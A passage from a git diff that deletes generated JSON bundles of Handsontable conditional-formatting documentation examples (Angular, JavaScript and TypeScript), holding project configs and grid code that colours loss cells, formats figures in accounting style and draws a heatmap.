}\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewEncapsulation } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport Handsontable from 'handsontable/base';\n\nconst data = [\n ['Acme Corp', 4.2, 5.1, -1.3, 6.8],\n ['Vertex Industries', 12.5, 11.9, 13.2, 14],\n ['Harbor Analytics', -2.4, 0.8, 2.1, 3.5],\n ['Summit Logistics', 8.7, -3.2, 4.4, 5.9],\n ['Pioneer Foods', 1.1, 1.4, 0.9, -0.5],\n ['Meridian Retail', 6, 7.3, 8.1, 9.4],\n];\n\n@Component({\n selector: 'example1-conditional-formatting',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n styles: `example1-conditional-formatting .handsontable td.company-name {\n font-weight: 600;\n}\nexample1-conditional-formatting .handsontable td.loss {\n color: #d81e2c;\n background: var(--ht-cell-error-background-color, rgba(216, 30, 44, 0.14));\n background: color-mix(in srgb, #d81e2c 16%, var(--ht-background-color, #ffffff));\n}\nexample1-conditional-formatting .handsontable td.loss::before {\n content: \"▼ \";\n}\nexample1-conditional-formatting .handsontable td.strong-quarter {\n color: #157a3d;\n font-weight: 600;\n}\nhtml[data-theme=\"dark\"] example1-conditional-formatting .handsontable td.loss {\n color: #ff5c70;\n background: color-mix(in srgb, #ff5c70 22%, var(--ht-background-color, #000000));\n}\nhtml[data-theme=\"dark\"] example1-conditional-formatting .handsontable td.strong-quarter {\n color: #22c55e;\n}\n`,\n encapsulation: ViewEncapsulation.None,\n})\nexport class AppComponent {\n\n readonly data = data;\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Company', 'Q1', 'Q2', 'Q3', 'Q4'],\n height: 'auto',\n columns: [\n { className: 'company-name' },\n { type: 'numeric' },\n { type: 'numeric' },\n { type: 'numeric' },\n { type: 'numeric' },\n ],\n cells(row: number, col: number) {\n const cellProperties: Handsontable.CellMeta = {};\n\n if (col > 0) {\n cellProperties.className = '';\n\n const value = data[row]?.[col];\n\n if (typeof value === 'number' && value < 0) {\n cellProperties.className = 'loss';\n } else if (typeof value === 'number' && value > 10) {\n cellProperties.className = 'strong-quarter';\n }\n }\n\n return cellProperties;\n },\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/conditional-formatting/angular/example1.ts","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/conditional-formatting","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__angular__example2.ts.json deleted file mode 100644 index deb1e09e..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__angular__example2.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Features ▸ Conditional formatting · Format cells with a custom renderer · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewEncapsulation } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport Handsontable from 'handsontable/base';\nimport { registerRenderer } from 'handsontable/renderers';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n\n// display losses in an accounting format, so color is not the only signal\nconst profitRenderer = (\n instance: Handsontable,\n td: HTMLTableCellElement,\n row: number,\n col: number,\n prop: string | number,\n value: Handsontable.CellValue,\n cellProperties: Handsontable.CellProperties\n) => {\n const amount = Number(value);\n\n td.classList.remove('loss-cell');\n\n if (!Number.isFinite(amount)) {\n textRenderer(instance, td, row, col, prop, value, cellProperties);\n\n return;\n }\n\n const formatted = amount < 0\n ? `($${Math.abs(amount).toFixed(1)}M)`\n : `$${amount.toFixed(1)}M`;\n\n textRenderer(instance, td, row, col, prop, formatted, cellProperties);\n\n if (amount < 0) {\n td.classList.add('loss-cell');\n }\n};\n\nregisterRenderer('profitRenderer', profitRenderer);\n\n@Component({\n selector: 'example2-conditional-formatting',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n styles: `example2-conditional-formatting .handsontable td.loss-cell {\n color: #d81e2c;\n font-weight: 600;\n}\nhtml[data-theme=\"dark\"] example2-conditional-formatting .handsontable td.loss-cell {\n color: #ff5c70;\n}\n`,\n encapsulation: ViewEncapsulation.None,\n})\nexport class AppComponent {\n\n readonly data = [\n ['Acme Corp', 4.2, 5.1, -1.3, 6.8],\n ['Vertex Industries', 12.5, 11.9, 13.2, 14],\n ['Harbor Analytics', -2.4, 0.8, 2.1, 3.5],\n ['Summit Logistics', 8.7, -3.2, 4.4, 5.9],\n ['Pioneer Foods', 1.1, 1.4, 0.9, -0.5],\n ['Meridian Retail', 6, 7.3, 8.1, 9.4],\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Company', 'Q1', 'Q2', 'Q3', 'Q4'],\n height: 'auto',\n columns: [\n {},\n { renderer: 'profitRenderer' },\n { renderer: 'profitRenderer' },\n { renderer: 'profitRenderer' },\n { renderer: 'profitRenderer' },\n ],\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/conditional-formatting/angular/example2.ts","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example2","exampleTitle":"Format cells with a custom renderer","docPermalink":"/conditional-formatting","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__angular__example3.ts.json deleted file mode 100644 index 7d5b14e5..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__angular__example3.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Features ▸ Conditional formatting · Build a color scale · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport Handsontable from 'handsontable/base';\nimport { registerRenderer } from 'handsontable/renderers';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n\nconst data = [\n ['Acme Corp', 4.2, 5.1, -1.3, 6.8],\n ['Vertex Industries', 12.5, 11.9, 13.2, 14],\n ['Harbor Analytics', -2.4, 0.8, 2.1, 3.5],\n ['Summit Logistics', 8.7, -3.2, 4.4, 5.9],\n ['Pioneer Foods', 1.1, 1.4, 0.9, -0.5],\n ['Meridian Retail', 6, 7.3, 8.1, 9.4],\n];\n\n// shade the background from red (low) to green (high); the value stays visible\nconst heatmapRenderer = (\n instance: Handsontable,\n td: HTMLTableCellElement,\n row: number,\n col: number,\n prop: string | number,\n value: Handsontable.CellValue,\n cellProperties: Handsontable.CellProperties\n) => {\n textRenderer(instance, td, row, col, prop, value, cellProperties);\n\n const amount = Number(value);\n\n if (Number.isFinite(amount)) {\n const values = instance.getData()\n .flatMap((rowData) => rowData.slice(1))\n .map(Number)\n .filter((cellValue) => Number.isFinite(cellValue));\n const min = Math.min(...values);\n const max = Math.max(...values);\n const ratio = min === max ? 0.5 : (amount - min) / (max - min);\n const hue = Math.round(ratio * 120);\n\n td.style.background = `hsl(${hue}, 75%, 85%)`;\n td.style.color = '#1b1b1b';\n }\n};\n\nregisterRenderer('heatmapRenderer', heatmapRenderer);\n\n@Component({\n selector: 'example3-conditional-formatting',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = data;\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Company', 'Q1', 'Q2', 'Q3', 'Q4'],\n height: 'auto',\n columns: [\n {},\n { renderer: 'heatmapRenderer' },\n { renderer: 'heatmapRenderer' },\n { renderer: 'heatmapRenderer' },\n { renderer: 'heatmapRenderer' },\n ],\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/conditional-formatting/angular/example3.ts","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example3","exampleTitle":"Build a color scale","docPermalink":"/conditional-formatting","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__javascript__example1.js.json deleted file mode 100644 index 21562b63..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__javascript__example1.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Features ▸ Conditional formatting · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// register Handsontable's modules\nregisterAllModules();\nconst data = [\n ['Acme Corp', 4.2, 5.1, -1.3, 6.8],\n ['Vertex Industries', 12.5, 11.9, 13.2, 14],\n ['Harbor Analytics', -2.4, 0.8, 2.1, 3.5],\n ['Summit Logistics', 8.7, -3.2, 4.4, 5.9],\n ['Pioneer Foods', 1.1, 1.4, 0.9, -0.5],\n ['Meridian Retail', 6, 7.3, 8.1, 9.4],\n];\nconst container = document.querySelector('#example1');\nnew Handsontable(container, {\n data,\n colHeaders: ['Company', 'Q1', 'Q2', 'Q3', 'Q4'],\n licenseKey: 'non-commercial-and-evaluation',\n height: 'auto',\n columns: [\n { className: 'company-name' },\n { type: 'numeric' },\n { type: 'numeric' },\n { type: 'numeric' },\n { type: 'numeric' },\n ],\n cells(row, col) {\n const cellProperties = {};\n if (col > 0) {\n cellProperties.className = '';\n const value = data[row]?.[col];\n if (typeof value === 'number' && value < 0) {\n cellProperties.className = 'loss';\n }\n else if (typeof value === 'number' && value > 10) {\n cellProperties.className = 'strong-quarter';\n }\n }\n return cellProperties;\n },\n});","/src/main.js":"import \"../styles.css\";\nimport \"../index.js\";","/styles.css":"#example1 .handsontable td.company-name {\n font-weight: 600;\n}\n\n#example1 .handsontable td.loss {\n color: #d81e2c;\n background: var(--ht-cell-error-background-color, rgba(216, 30, 44, 0.14));\n background: color-mix(in srgb, #d81e2c 16%, var(--ht-background-color, #ffffff));\n}\n\n#example1 .handsontable td.loss::before {\n content: \"▼ \";\n}\n\n#example1 .handsontable td.strong-quarter {\n color: #157a3d;\n font-weight: 600;\n}\n\nhtml[data-theme=\"dark\"] #example1 .handsontable td.loss {\n color: #ff5c70;\n background: color-mix(in srgb, #ff5c70 22%, var(--ht-background-color, #000000));\n}\n\nhtml[data-theme=\"dark\"] #example1 .handsontable td.strong-quarter {\n color: #22c55e;\n}"},"docsPath":"guides/cell-features/conditional-formatting/javascript/example1.js","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/conditional-formatting","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__javascript__example1.ts.json deleted file mode 100644 index 1ea3fc85..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__javascript__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Cell Features ▸ Conditional formatting · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst data = [\n ['Acme Corp', 4.2, 5.1, -1.3, 6.8],\n ['Vertex Industries', 12.5, 11.9, 13.2, 14],\n ['Harbor Analytics', -2.4, 0.8, 2.1, 3.5],\n ['Summit Logistics', 8.7, -3.2, 4.4, 5.9],\n ['Pioneer Foods', 1.1, 1.4, 0.9, -0.5],\n ['Meridian Retail', 6, 7.3, 8.1, 9.4],\n];\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n data,\n colHeaders: ['Company', 'Q1', 'Q2', 'Q3', 'Q4'],\n licenseKey: 'non-commercial-and-evaluation',\n height: 'auto',\n columns: [\n { className: 'company-name' },\n { type: 'numeric' },\n { type: 'numeric' },\n { type: 'numeric' },\n { type: 'numeric' },\n ],\n cells(row, col) {\n const cellProperties: Handsontable.CellMeta = {};\n\n if (col > 0) {\n cellProperties.className = '';\n\n const value = data[row]?.[col];\n\n if (typeof value === 'number' && value < 0) {\n cellProperties.className = 'loss';\n } else if (typeof value === 'number' && value > 10) {\n cellProperties.className = 'strong-quarter';\n }\n }\n\n return cellProperties;\n },\n});","/src/main.ts":"import \"../styles.css\";\nimport \"../index.ts\";","/styles.css":"#example1 .handsontable td.company-name {\n font-weight: 600;\n}\n\n#example1 .handsontable td.loss {\n color: #d81e2c;\n background: var(--ht-cell-error-background-color, rgba(216, 30, 44, 0.14));\n background: color-mix(in srgb, #d81e2c 16%, var(--ht-background-color, #ffffff));\n}\n\n#example1 .handsontable td.loss::before {\n content: \"▼ \";\n}\n\n#example1 .handsontable td.strong-quarter {\n color: #157a3d;\n font-weight: 600;\n}\n\nhtml[data-theme=\"dark\"] #example1 .handsontable td.loss {\n color: #ff5c70;\n background: color-mix(in srgb, #ff5c70 22%, var(--ht-background-color, #000000));\n}\n\nhtml[data-theme=\"dark\"] #example1 .handsontable td.strong-quarter {\n color: #22c55e;\n}"},"docsPath":"guides/cell-features/conditional-formatting/javascript/example1.ts","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/conditional-formatting","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__javascript__example2.js.json deleted file mode 100644 index 11e432e1..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__javascript__example2.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Features ▸ Conditional formatting · Format cells with a custom renderer · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { registerRenderer } from 'handsontable/renderers';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n// register Handsontable's modules\nregisterAllModules();\nconst data = [\n ['Acme Corp', 4.2, 5.1, -1.3, 6.8],\n ['Vertex Industries', 12.5, 11.9, 13.2, 14],\n ['Harbor Analytics', -2.4, 0.8, 2.1, 3.5],\n ['Summit Logistics', 8.7, -3.2, 4.4, 5.9],\n ['Pioneer Foods', 1.1, 1.4, 0.9, -0.5],\n ['Meridian Retail', 6, 7.3, 8.1, 9.4],\n];\n// display losses in an accounting format, so color is not the only signal\nconst profitRenderer = (instance, td, row, col, prop, value, cellProperties) => {\n const amount = Number(value);\n td.classList.remove('loss-cell');\n if (!Number.isFinite(amount)) {\n textRenderer(instance, td, row, col, prop, value, cellProperties);\n return;\n }\n const formatted = amount < 0\n ? `($${Math.abs(amount).toFixed(1)}M)`\n : `$${amount.toFixed(1)}M`;\n textRenderer(instance, td, row, col, prop, formatted, cellProperties);\n if (amount < 0) {\n td.classList.add('loss-cell');\n }\n};\nregisterRenderer('profitRenderer', profitRenderer);\nconst container = document.querySelector('#example2');\nnew Handsontable(container, {\n data,\n colHeaders: ['Company', 'Q1', 'Q2', 'Q3', 'Q4'],\n licenseKey: 'non-commercial-and-evaluation',\n height: 'auto',\n columns: [\n {},\n { renderer: 'profitRenderer' },\n { renderer: 'profitRenderer' },\n { renderer: 'profitRenderer' },\n { renderer: 'profitRenderer' },\n ],\n});","/src/main.js":"import \"../styles.css\";\nimport \"../index.js\";","/styles.css":"#example2 .handsontable td.loss-cell {\n color: #d81e2c;\n font-weight: 600;\n}\n\nhtml[data-theme=\"dark\"] #example2 .handsontable td.loss-cell {\n color: #ff5c70;\n}"},"docsPath":"guides/cell-features/conditional-formatting/javascript/example2.js","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example2","exampleTitle":"Format cells with a custom renderer","docPermalink":"/conditional-formatting","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__javascript__example2.ts.json deleted file mode 100644 index ab0a0aaf..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__javascript__example2.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Cell Features ▸ Conditional formatting · Format cells with a custom renderer · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
